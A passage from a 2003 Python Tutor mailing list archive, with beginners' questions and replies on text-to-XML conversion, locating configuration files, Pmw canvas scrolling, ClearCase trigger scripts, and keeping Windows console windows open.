> and friends overseas!

> import re
> 
> from xml.dom.minidom import *
> 
> def main(arg):
>    #input argument txt file
>    try:
>        f = open(arg)
>        #open the argument file
>    except:
>        print "cannot open file"
>        #if not possible then print error
> 
>    #create a new parent Document
>    newdocument = Document()
>    #create a lower level tag
>    rootElement = newdocument.createElement("Course Outline")
>    #add the lower level tag to the parent Document
>    newdocument.appendChild(rootElement)
> 
>    tagSequence = re.compile("(^\d+)\t+")
>    while 1:
>        line = f.readline()
>        if len(line) == 0:
>            break
>        # remove end of line marker
>        #s = line[:len(line)-1]
>        s = line
> 
>        target = tagSequence.search(s)
>        if target:
>            #flag = 1
>            s2 = re.search("\t", s) # find tab position within the string s
>            # get substring from the end of the tab (span()gives the tab 
> start and end position)
>            result = s[s2.span()[1]:]
>            newElement = newdocument.createElement(result)
>            rootElement.appendChild(newElement)
> 
>    x = newdocument.toxml() # get the contents of the buffer (the set of 
> tags) produced by toxml()
>    f=open('CourseOutlineXML.xml', 'w')
>    f.write(x)
>    print x
> 
> if __name__ == '__main__':
>    main("PR301CourseOutline2003.txt")
> 
> 



-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From shalehperry@attbi.com  Tue Jun 10 01:18:02 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Tue Jun 10 00:18:02 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <20030610032132.GC21763@localhost.localdomain>
References: <20030606230552.GV1597@localhost.localdomain> <3EE4C938.4020802@ccvcorp.com> <20030610032132.GC21763@localhost.localdomain>
Message-ID: <200306092117.20343.shalehperry@attbi.com>

>
> Sorry to be dense, but could you give me an example of using the
> __file__ attribute? This would really sovle a lot of the problem. Most
> applications (at least unix), have a .config file in the home directory.
> (For example, .vimrc for vim.)
>
> The user will actually want to have easy access to the configuration
> file. The directory /etc is for scary things like sendmail!
>
> Thanks
>
> Paul

one of the joys of python is being able to start the interpreter and 
experiment.

>>> import glob
>>> dir(glob)
['__all__', '__builtins__', '__doc__', '__file__', '__name__', 'fnmatch', 
'glob', 'glob1', 'has_magic', 'magic_check', 'os', 're']
>>> type(glob)
<type 'module'>
>>> type(glob.__file__)
<type 'str'>
>>> glob.__file__
'/usr/lib/python2.2/glob.pyc'
>>> glob.glob("*.cc") # I was in a dir with some of my C++ code
['Workspace.cc', 'Clientmenu.cc', 'Configmenu.cc', 'Iconmenu.cc', 
'Rootmenu.cc', 'Screen.cc', 'Slit.cc', 'Toolbar.cc', 'Window.cc', 
'Windowmenu.cc', 'Workspacemenu.cc', 'blackbox.cc', 'main.cc', 
'BlackboxResource.cc']



From phthenry@earthlink.net  Tue Jun 10 03:39:02 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Tue Jun 10 02:39:02 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <200306092117.20343.shalehperry@attbi.com>
References: <20030606230552.GV1597@localhost.localdomain> <3EE4C938.4020802@ccvcorp.com> <20030610032132.GC21763@localhost.localdomain> <200306092117.20343.shalehperry@attbi.com>
Message-ID: <20030610064004.GE21763@localhost.localdomain>

On Mon, Jun 09, 2003 at 09:17:20PM -0700, Sean 'Shaleh' Perry wrote:
> ['__all__', '__builtins__', '__doc__', '__file__', '__name__', 'fnmatch', 
> 'glob', 'glob1', 'has_magic', 'magic_check', 'os', 're']
> >>> type(glob)
> <type 'module'>
> >>> type(glob.__file__)
> <type 'str'>
> >>> glob.__file__
> '/usr/lib/python2.2/glob.pyc'
> >>> glob.glob("*.cc") # I was in a dir with some of my C++ code
> ['Workspace.cc', 'Clientmenu.cc', 'Configmenu.cc', 'Iconmenu.cc', 
> 'Rootmenu.cc', 'Screen.cc', 'Slit.cc', 'Toolbar.cc', 'Window.cc', 
> 'Windowmenu.cc', 'Workspacemenu.cc', 'blackbox.cc', 'main.cc', 
> 'BlackboxResource.cc']
> 
> 
ailman/listinfo/tutor

Okay, so my setup.py file looks like:


from distutils.core import setup



setup(name="foo1",
    version=".1",
    description="foo test",
    author="Paul Tremblay",
    author_email="phthenry@earthlink.net",
    packages=['foo'],
data_files = [("foo", ["data.txt"])],
    )

I install everyting with the command 

python setup.py install --home /home/paul

My configuration files (data.txt) gets put in /home/paul/foo

Now the user executes the script, which has this line

import foo

path = foo.__file__

print path

/home/paul/lib/python/foo.py

Second scenario:

I run

python setup.py install

And the data gets put in /usr/foo

I run the script:


import foo

path = foo.__file__

print path

/usr/lib/python2.2/site-packages/foo.py

How can I make a universal rule to parse __file__ in order to get the
location of data.txt? The actual data.txt can exist many levels up from
the actual module.

Or do I actually put the data.txt *in* foo to begin with? But if I do
that, wont' the install utility try to see it as a python file?

thanks

Paul






-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From ellisonh@prodigy.net  Tue Jun 10 04:23:03 2003
From: ellisonh@prodigy.net (Homer Ellison)
Date: Tue Jun 10 03:23:03 2003
Subject: [Tutor] RE: File path
In-Reply-To: <20030609234201.4110.46758.Mailman@mail.python.org>
Message-ID: <000701c32f20$ddce7560$f5e57b43@homer3cq9tc2v2>

Thank you to those who responded. Your answers are a great help, since I
couldn't find a clear explanation in the books I've been using for
reference.

All the best,
Homer


--__--__--

Message: 3
Date: Mon, 09 Jun 2003 12:34:18 -0400
From: Kirk Bailey <idiot1@netzero.net>
Organization: Silas Dent Memorial Cabal of ERIS Esoteric and hot dog
boiling  society
CC: Python Tutor List <tutor@python.org>
Subject: Re: [Tutor] File path

When it is in the current working directory (cwd), you don't. Just open
the file.

When it is someplace else, it is pretty safe to declare the complete
path.

f1=open('c:\my documents\foobot\foobot.config','r')

SOME operations permit relative addessing, but your milage may vary.

if os.exists('./lists/mylist'):
	do.something('yes')
else:
	do.something('no')

When it is in the cwd you do not declare a path at all:

f1=open('history.txt','r')

absolute addressing is safe and dependable. Odd that SOME functions
allow relative 
addressing, and some don't.


Homer Ellison wrote:
> Hello,
>  
> I'm new to programming in Python (and to object-oriented programming 
> in
> general). The programming experience I have is from a long time ago,
so 
> I'm going to have many questions.
>  
> How do I specify the file path within my code to access files for
> reading and writing? I'm using a PC with 32-bit Windows.
>  
> Thank you,
> Homer
>  





From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Tue Jun 10 04:43:02 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Tue Jun 10 03:43:02 2003
Subject: [Tutor] Pmw ScrolledCanvas Issues ..........
Message-ID: <20030610074212.26385.qmail@webmail28.rediffmail.com>

Hi,
    I am using python/tkinter/Pmw in my application. As a beginer 
to Pmw, i executed some demo programs given in "Demos" directory 
of Pmw. I could able to understand most of the programs since i am 
familiar with tkinter. Still i have some doubts in 
"ScrolledCanvas". The problem is setting sroll bar to the center 
of the canvas after scalling. I have placed some rectangles, ovals 
in the canvas and used "scale" to scall the canvas. After scalling 
i called "resizescrollregion()" and tried to place the scroll bar 
to the center (Using yview('moveto',...)). But the scroll bars are 
moving only one direction. This means, verticalscrollbar is moving 
"Up" and   horizantalscroll bar is moving "Right". It is not 
moving to center. My coding is given below.


title = 'Pmw.ScrolledCanvas demonstration'
# Import Pmw from this directory tree.
import sys
sys.path[:0] = ['../../..']

import Tkinter
import Pmw

class Demo:
     def __init__(self, parent):
 	# Create the ScrolledCanvas.
 	self.sc = Pmw.ScrolledCanvas(parent,
 		borderframe = 1,
 		labelpos = 'n',
 		label_text = 'ScrolledCanvas',
 		usehullsize = 1,
 		hull_width = 500,
 		hull_height = 400,
 	)

 	# Create a group widget to contain the scrollmode options.
 	w = Pmw.Group(parent, tag_text='Scroll mode')
 	w.pack(side = 'bottom', padx = 5, pady = 5)

 	hmode = Pmw.OptionMenu(w.interior(),
 		labelpos = 'w',
 		label_text = 'Horizontal:',
 		items = ['none', 'static', 'dynamic'],
 		command = self.sethscrollmode,
 		menubutton_width = 8,
 	)
 	hmode.pack(side = 'left', padx = 5, pady = 5)
 	hmode.invoke('dynamic')

 	vmode = Pmw.OptionMenu(w.interior(),
 		labelpos = 'w',
 		label_text = 'Vertical:',
 		items = ['none', 'static', 'dynamic'],
 		command = self.setvscrollmode,
 		menubutton_width = 8,
 	)
 	vmode.pack(side = 'left', padx = 5, pady = 5)
 	vmode.invoke('dynamic')

 	buttonBox = Pmw.ButtonBox(parent)
 	buttonBox.pack(side = 'bottom')
 	buttonBox.add('yview', text = 'Show\nyview', command = 
self.showYView)
 	buttonBox.add('scroll', text = 'Page\ndown', command = 
self.pageDown)
 	buttonBox.add('center', text = 'Center', command = 
self.centerPage)

 	# Pack this last so that the buttons do not get shrunk when
 	# the window is resized.
 	self.sc.pack(padx = 5, pady = 5, fill = 'both', expand = 1)

 	self.sc.component('canvas').bind('<1>', self.addcircle)
 	self.sc.component('canvas').bind('<2>', self.scalecanvas)
 	self.sc.component('canvas').bind('<3>', self.zoomout)
         testEntry = Tkinter.Entry(parent)
 	self.sc.create_line(20, 20, 100, 100)
 	self.sc.create_oval(100, 100, 200, 200, fill = 'green',tag = 
'oval')
 	self.sc.create_rectangle("10m","10m","20m","20m",fill='blue')
 	# Set the scroll region of the canvas to include all the items
 	# just created.
 	self.sc.resizescrollregion()

 	self.colours = ('red', 'green', 'blue', 'yellow', 'cyan', 
'magenta',
 		'black', 'white')
 	self.oval_count = 0
         self.rand = 12345

     def zoomout(self,event):
         self.sc.scale('all',0,0,0.5,0.5)
 	self.sc.resizescrollregion()

     def scalecanvas(self,event):
         self.sc.scale('all',0,0,2,2)
         self.sc.resizescrollregion()
       	self.centerPage()

     def sethscrollmode(self, tag):
 	self.sc.configure(hscrollmode = tag)

     def setvscrollmode(self, tag):
 	self.sc.configure(vscrollmode = tag)

     def addcircle(self, event):
 	x = self.sc.canvasx(event.x)
 	y = self.sc.canvasy(event.y)
 	width = 10 + self.random() % 100
 	height = 10 + self.random() % 100
 	self.sc.create_oval(
 	    x - width, y - height, x + width, y + height,
 	    fill = self.colours[self.oval_count])
 	self.oval_count = (self.oval_count + 1) % len(self.colours)
 	self.sc.resizescrollregion()

     #Simple random number generator.
     def random(self):
         self.rand = (self.rand * 125) % 2796203
         return self.rand

     def showYView(self):
         print self.sc.yview()

     def pageDown(self):
         self.sc.yview('scroll', 1, 'page')

     def centerPage(self):
         top, bottom = self.sc.yview()
         size = bottom - top
         middle = 0.5 - size / 2
         self.sc.yview('moveto', middle)
         left,right = self.sc.xview()
         size = right - left
          middle = 0.5 - size / 2
         self.sc.xview('moveto', middle)

######################################################################

# Create demo in root window for testing.
if __name__ == '__main__':
     root = Tkinter.Tk()
     Pmw.initialise(root, fontScheme = 'pmw1')
     root.title(title)

     exitButton = Tkinter.Button(root, text = 'Exit', command = 
root.destroy)
     exitButton.pack(side = 'bottom')
     widget = Demo(root)
     root.mainloop()


   How can i place the scroll bar to center of canvas after 
scalling.

With Regards,
V.Suresh Kumar


___________________________________________________
Get email that means BUSINESS! me @ mycompany.com.
Just Rs.1499/year.
To start, click http://www.rediffmailpro.com



From alan.gauld@blueyonder.co.uk  Tue Jun 10 05:14:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun 10 04:14:02 2003
Subject: [Tutor] With
References: <20030609160006.26187.25845.Mailman@mail.python.org> <3EE4B9B7.60400@cso.atmel.com> <200306091721.17267.shalehperry@attbi.com>
Message-ID: <008c01c32f28$5ba0fba0$6401a8c0@xp>

Hi Sean,

> > >What exactly would a 'with' do that an 'it' doesn't?
> To those of us who learned it early in our programmer 
> career 'with' just seems so much more elegant 

I started on Pascal which has a with and I still use Delphi which 
idiomatically uses with regularly. However I don't miss it in Python
because its easy to use a short variable...

> In C++ I can do:
> 
> blah* i = this_long_thing;
> i->foo = 2;
> i->bar = 'bat';

Yes, but the reason C++ could use a 'with' and that its useful 
in Pascal is because they are strictly typed, so you need a 
pre-declared variable of the right type for every 'with' equivalent. 
Because Python allows me to use one name 'it' for every shortcut 
I don't get any such hassle so am quite happy. I honestly don't miss 
'with' at all in Python, and in fact until Bob posted his 
message I'd never even considered it!

Alan g.


From schalla@vasoftware.com  Tue Jun 10 05:29:04 2003
From: schalla@vasoftware.com (shobhan)
Date: Tue Jun 10 04:29:04 2003
Subject: [Tutor] Handling multiple file checkins in Clearcase from Python
Message-ID: <3EE59823.5000409@vasoftware.com>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
  <title></title>
</head>
<body text="#000000" bgcolor="#ffffff">
<font face="Helvetica, Arial, sans-serif" size="-1">Hi Everyone,<br>
<br>
Im encountering a strange problem here, i have a Clearcase machine and
i've made a python script which is fired by a clearcase trigger when a
'checkin' operation occurs on the Clearcase server. Here the python
script will get all the committed file info and dumps the info into the
DB.<br>
<br>
When i do a checkin in clearcase like (cleartool ci file1) it works
fine, but the problem occurs when i do a <br>
1) directory checkin (like cleartool ci directory_name)<br>
or<br>
2) checkin using dot(.) (like cleartool ci .)<br>
<br>
Here if there are 3 modified files and 2 new files, clearcase picks up
all the files (new and modified) but on the Python side it doesnt give
any file names, just gives dot(.).<br>
<br>
Now my question is when a user does a checkin like (cleartool ci .) how
do i pick the filenames, usernames from my python script..??<br>
<br>
The python script is as follows:<br>
<br>
<font color="#993300">#!/usr/bin/python<br>
<br>
import sys, os, os.path, local, re,time<br>
<br>
commit_msg = os.getenv('CLEARCASE_COMMENT')<br>
cc_user = os.getenv('CLEARCASE_USER')<br>
operation = os.getenv('CLEARCASE_OP_KIND')<br>
eltype = os.getenv('CLEARCASE_ELTYPE')<br>
</font></font><font face="Helvetica, Arial, sans-serif" size="-1"
 color="#993300">file_name = os.getenv('CLEARCASE_PN')</font><font
 color="#993300"><br>
<br>
</font><font face="Helvetica, Arial, sans-serif" size="-1"
 color="#993300">project_name = sys.argv[1:]<br>
<br>
#if eltype == 'directory':<br>
&nbsp;&nbsp;&nbsp; #sys.exit(0)<br>
<br>
if operation == 'checkin':<br>
&nbsp;&nbsp;&nbsp; files = []<br>
&nbsp;&nbsp;&nbsp; <br>
&nbsp;&nbsp;&nbsp; ## Loop the file names <br>
&nbsp;&nbsp;&nbsp; for file in file_name:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if file:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; parts = string.split(file, ':')<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; files.append({'name':parts[0], 'version':parts[1],
'old_version':parts[2]})<br>
<br>
&nbsp;&nbsp;&nbsp; print file_name</font><font color="#993300"><br>
</font><font face="Helvetica, Arial, sans-serif" size="-1"><br>
Thanks in advance<br>
Schalla</font><br>
</body>
</html>



From magnus@thinkware.se  Tue Jun 10 05:31:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 10 04:31:01 2003
Subject: [Tutor] text to xml
In-Reply-To: <Law15-F96r45GHEer270002079c@hotmail.com>
Message-ID: <5.2.1.1.0.20030610102545.01f5be48@www.thinkware.se>

At 11:41 2003-06-10 +1200, Tom Brownlee wrote:
>WHAT AM I MISSING?????  to me it seemed feasible to work but it doesnt 
>quite get there.

That's not the clearest error description I've seen...
Perhaps you can tell exactly what goes wrong. In that
case people might be able to help you without having
to run your code, and that probably means a better
chance of getting help...

The first thing I see is that you have called your file
xml.py, and then you try to do:

from xml.dom.minidom import *

That should cause Python to try to import "dom.minidom"
from your xml.py, which will obviously fail.

Don't use builtin names as variable names, and don't use
builtin names or standard library names as file names for
python source.

If I had seen a traceback, or if you had shown some output
that looked different than what you expected, then I would
have known if I had solved your problem by now or not.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From abli@freemail.hu  Tue Jun 10 06:02:29 2003
From: abli@freemail.hu (Abel Daniel)
Date: Tue Jun 10 05:02:29 2003
Subject: [Tutor] Pmw ScrolledCanvas Issues ..........
In-Reply-To: <20030610074212.26385.qmail@webmail28.rediffmail.com>
References: <20030610074212.26385.qmail@webmail28.rediffmail.com>
Message-ID: <20030610090118.GA666@hooloovoo>

Suresh  Kumar wrote:
> The problem is setting sroll bar to the center 
> of the canvas after scalling. I have placed some rectangles, ovals 
> in the canvas and used "scale" to scall the canvas. After scalling 
> i called "resizescrollregion()" and tried to place the scroll bar 
> to the center (Using yview('moveto',...)). But the scroll bars are 
> moving only one direction. This means, verticalscrollbar is moving 
> "Up" and   horizantalscroll bar is moving "Right". It is not 
> moving to center. My coding is given below.
So, the problem is that even though you call self.centerPage() in
scalecanvas, it does nothing and doesn't center the canvas, right?

I'm not exactly sure what causes this, (most likely an optimization in
Tkinter or Tcl/Tk) but the problem is that you call centerPage after
self.sc.resizescrollregion() and somehow centerPage still gets the old
size, i.e. the resizeing didn't happen yet. 
Inserting a call to self.sc.update_idletasks() between the two makes
the problem go away.

>     def scalecanvas(self,event):
>         self.sc.scale('all',0,0,2,2)
>         self.sc.resizescrollregion()
          self.sc.update_idletasks()
>         self.centerPage()


Abel Daniel


From magnus@thinkware.se  Tue Jun 10 06:20:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun 10 05:20:02 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <20030610032132.GC21763@localhost.localdomain>
References: <3EE4C938.4020802@ccvcorp.com>
 <20030606230552.GV1597@localhost.localdomain>
 <3EE4C938.4020802@ccvcorp.com>
Message-ID: <5.2.1.1.0.20030610104350.01f9a830@www.thinkware.se>

At 23:21 2003-06-09 -0400, Paul Tremblay wrote:
>Sorry to be dense, but could you give me an example of using the
>__file__ attribute? This would really sovle a lot of the problem.

 >>> import os.path
 >>> print os.path.__file__
G:\Python22\lib\ntpath.pyc
 >>> os.path.split(os.path.__file__)
('G:\\Python22\\lib', 'ntpath.pyc')
 >>> os.path.split(os.path.__file__)[0]
'G:\\Python22\\lib'

This would be the directory where the imported file resides.

>Most
>applications (at least unix), have a .config file in the home directory.
>(For example, .vimrc for vim.)

You get the home directory with

 >>> import ospsth
 >>> print os.path.expanduser("~")
/home/your_home

This only works if the environment variable HOME is set.

It seems that...
 >>> import user
 >>> user.home
...works the same way.

In Windows NT derivates, you can do...
 >>> os.environ['USERPROFILE']
'X:\\Documents and Settings\\your_home'
...but I'n not sure this is set for DOS derivates such
as Win 98 or Win Me.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Tue Jun 10 09:24:33 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Tue Jun 10 08:24:33 2003
Subject: [Tutor] Partially solved Pmw.ScrolledCanvas issues.....
Message-ID: <20030610122350.20635.qmail@webmail27.rediffmail.com>

Hi,

    This is the updated version of my previous query which has the 
subject "Pmw ScrolledCanvas Issues". Iam using Pmw 
"ScrolledCanvas" in my application and want to place the scroll 
bars to center of the canvas after scalling (using "scale"). As 
per the guidelines given by "Abel Daniel" i used  
"update_idletasks()" to place the scrollbars to canvas center 
after scalling. It is working fine in all aspect except iam 
getting some flickering since "scale" places canvas objects in one 
place and subsequent "update_idletasks()" call moves the objects 
to the desired location.

    My code is given below:

import Tkinter
import Pmw

class Demo:
      def __init__(self, parent):
  	# Create the ScrolledCanvas.
  	self.sc = Pmw.ScrolledCanvas(parent,
  		borderframe = 1,
  		labelpos = 'n',
  		label_text = 'ScrolledCanvas',
  		usehullsize = 1,
                 hscrollmode = 'dynamic', #'static', #
 		vscrollmode = 'dynamic',
  		hull_width = 1500,
  		hull_height = 1400,
  	)

  	# Pack this last so that the buttons do not get shrunk when
  	# the window is resized.
  	self.sc.pack(padx = 5, pady = 5, fill = 'both', expand = 1)

  	self.sc.component('canvas').bind('<1>', self.addcircle)
  	self.sc.component('canvas').bind('<2>', self.scalecanvas)
  	self.sc.component('canvas').bind('<3>', self.zoomout)
          testEntry = Tkinter.Entry(parent)
  	self.sc.create_line(20, 20, 100, 100)
  	self.sc.create_oval(100, 100, 200, 200, fill = 'green',tag =
'oval')
  	# Set the scroll region of the canvas to include all the 
items
  	# just created.
  	self.sc.resizescrollregion()

          self.colours = ('red', 'green', 'blue', 'yellow', 
'cyan',
'magenta','black', 'white')
  	self.oval_count = 0
          self.rand = 12345

      def zoomout(self,event):
          self.sc.scale('all',0,0,0.5,0.5)
  	 self.sc.resizescrollregion()

      def scalecanvas(self,event):
          self.sc.scale('all',0,0,2,2)
          self.sc.resizescrollregion()
          self.sc.update_idletasks()
        	 self.centerPage()

       def centerPage(self):
          top, bottom = self.sc.yview()
          size = bottom - top
          middle = 0.5 - size / 2
          self.sc.yview('moveto', middle)
          left,right = self.sc.xview()
          size = right - left
           middle = 0.5 - size / 2
          self.sc.xview('moveto', middle)

######################################################################

# Create demo in root window for testing.
if __name__ == '__main__':
      root = Tkinter.Tk()
      Pmw.initialise(root, fontScheme = 'pmw1')
      exitButton = Tkinter.Button(root, text = 'Exit', command =
root.destroy)
      exitButton.pack(side = 'bottom')
      widget = Demo(root)
      root.mainloop()

    How can i stop flickering or "double movement" to avoid 
flickering?

With Regard
V.Suresh Kumar

___________________________________________________
Get email that means BUSINESS! me @ mycompany.com.
Just Rs.1499/year.
To start, click http://www.rediffmailpro.com



From willblake@wanadoo.fr  Tue Jun 10 09:46:02 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Tue Jun 10 08:46:02 2003
Subject: [Tutor] The course of M. Gauld +a console problem
Message-ID: <NBEHJBEKFMHNFJKOHIOAGEELCJAA.willblake@wanadoo.fr>

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0000_01C32F5F.632B8160
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,
I found it great (I've got some problems as usually, I'll
talk about later!)
But I was quite astonished coz this course is not translated
in french :-o
So I can do it if u want (I've already translated some docs cf
doc.gentoofr.org)

Right my problem.
Unfortunately at the present moment I'm working under W$ Me (beurk!)
and when I open a .py file, this lanches the interpreter and runs the prog
in a console window but this consol disappears immediately after the prog
completes
its execution so that I can't read the output :'(
Even when i'm using Pythonwin.
I read that in a book (I forgot the author sorry)
"An alternative approach is to launch the prog using a .bat file containing
a
statement such as python -i helloworld.py that instructs the interpreter to
enter
interactive mode after prog execution."
Where must I put this prog? Will I have to repeat the .bat for all the
.py file I want to read?? Or have u got a solution to make that stuff
easier?
Thanx



------=_NextPart_000_0000_01C32F5F.632B8160
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.100" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D120223212-10062003>Hi,</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>I =
found it great=20
(I've got some problems as usually, I'll </SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>talk =
about=20
later!)</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>But I =
was quite=20
astonished coz this course is not translated</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>in =
french=20
:-o</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>So I =
can do it if=20
u want (I've already&nbsp;translated some docs cf=20
doc.gentoofr.org)</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D120223212-10062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>Right =
my=20
problem.</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN =
class=3D120223212-10062003>Unfortunately at=20
the present moment I'm working under W$ Me (beurk!)</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>and =
when I open a=20
.py file, this lanches the interpreter and runs the =
prog</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>in a =
console=20
window but this consol disappears immediately after the prog=20
completes</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>its =
execution so=20
that I can't read the output :'(</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>Even =
when i'm=20
using Pythonwin.</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>I read =
that in a=20
book (I forgot the author sorry)</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>"An =
alternative=20
approach is to launch the prog using a .bat file containing a=20
</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN =
class=3D120223212-10062003>statement such as=20
python -i helloworld.py that instructs the interpreter to enter=20
</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN =
class=3D120223212-10062003>interactive mode=20
after prog execution."</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>Where =
must I put=20
this prog? Will I have to repeat the .bat for all the =
</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D120223212-10062003>.py =
file I want to=20
read?? Or have u got a solution to make that stuff =
easier?</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D120223212-10062003>Thanx</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow" color=3D#0000ff><SPAN=20
class=3D120223212-10062003>&nbsp;</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow" color=3D#0000ff><SPAN=20
class=3D120223212-10062003></SPAN></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0000_01C32F5F.632B8160--



From gp@pooryorick.com  Tue Jun 10 11:29:02 2003
From: gp@pooryorick.com (Poor Yorick)
Date: Tue Jun 10 10:29:02 2003
Subject: [Tutor] The course of M. Gauld +a console problem
References: <NBEHJBEKFMHNFJKOHIOAGEELCJAA.willblake@wanadoo.fr>
Message-ID: <3EE5EB5E.30505@pooryorick.com>


Guillaume wrote:

 > in a console window but this consol disappears immediately after the
 > prog completes
 >
 > its execution so that I can't read the output :'(
 >
 > Even when i'm using Pythonwin.
 >
 > I read that in a book (I forgot the author sorry)
 >
 > "An alternative approach is to launch the prog using a .bat file
 > containing a
 >
 > statement such as python -i helloworld.py that instructs the
 > interpreter to enter
 >
 > interactive mode after prog execution."
 >
Here's how my system is set up:

  From windows explorer:

Tools - File Types - .py - Advanced - New
     Action = 'Run and Remain'
     Application used to perform action = cmd.exe /k
C:\Python22\python.exe "%1" %*

This gives me a menu 'Run and Remain' menu item when I right-click on a
.py file.

Poor Yorick




From bwinton@latte.ca  Tue Jun 10 11:34:04 2003
From: bwinton@latte.ca (Blake Winton)
Date: Tue Jun 10 10:34:04 2003
Subject: [Tutor] With
In-Reply-To: <008c01c32f28$5ba0fba0$6401a8c0@xp>
References: <20030609160006.26187.25845.Mailman@mail.python.org> <3EE4B9B7.60400@cso.atmel.com> <200306091721.17267.shalehperry@attbi.com> <008c01c32f28$5ba0fba0$6401a8c0@xp>
Message-ID: <20030610143113.GB10293@latte.ca>

* Alan Gauld <alan.gauld@blueyonder.co.uk> [030610 04:12]:
> > To those of us who learned it early in our programmer career
> > 'with' just seems so much more elegant 
> I started on Pascal which has a with and I still use Delphi which
> idiomatically uses with regularly. However I don't miss it in Python
> because its easy to use a short variable...

I'd seen languages with "with" fairly early on in my programming
career, but I really don't like it.  If there is no "with", then it's
really easy for me to see where a variable comes from.  If there is a
"with", it makes it much easier for me to accidentally overwrite my
code with someone else's, or worse, to have someone else accidentally
overwrite my code with theirs by changing a name in their package.
(This problem could be avoided if you had to prefix any "with"-ed
variables with a ".", or something, so the example would look like:

with this_long_thing
    foo = 2;
    .bar = 'bat';
# "do" and "done" ommitted to make it more Pythonic.

Which would indicate that the only thing that came from
"this_long_thing" was the "bar".  That _might_ not be so bad.  Still a
little ugly, in my opinion, but clearly in the realm of opinion, and
not a bad idea.  Of course, I'm still a little unclear about the scope
of the resulting "foo" variable.  Should it go away at the end of the
"with"-block?  Wouldn't that make the "with"-block less useful?)

Later,
Blake.
-- 
 10:29am  up 25 days, 22:36,  1 user,  load average: 2.04, 2.02, 2.00


From pythontutor@venix.com  Tue Jun 10 11:48:22 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Tue Jun 10 10:48:22 2003
Subject: [Tutor] The course of M. Gauld +a console problem
References: <NBEHJBEKFMHNFJKOHIOAGEELCJAA.willblake@wanadoo.fr>
Message-ID: <3EE5EF60.5050502@venix.com>

This is not the answer you asked for, but I was not happy with the .BAT approach.
I usually set up my console window scripts to work like this:

if __name__ == "__main__":
	import traceback
	try:
		error_code = main()	# function that does the work
	except:		# Catch ANY unhandled exception
			# we don't leave it to Python because we want to fall through
			# to the raw_input at the end
		error_code = 3	#some number that is different from main()'s numbers
		traceback.print_exc()
	if error_code:	# 0 indicates success
		print "* * * " * 10
		print "Error Message"	# whatever makes sense for your application
		print "* * * " * 10
	else:
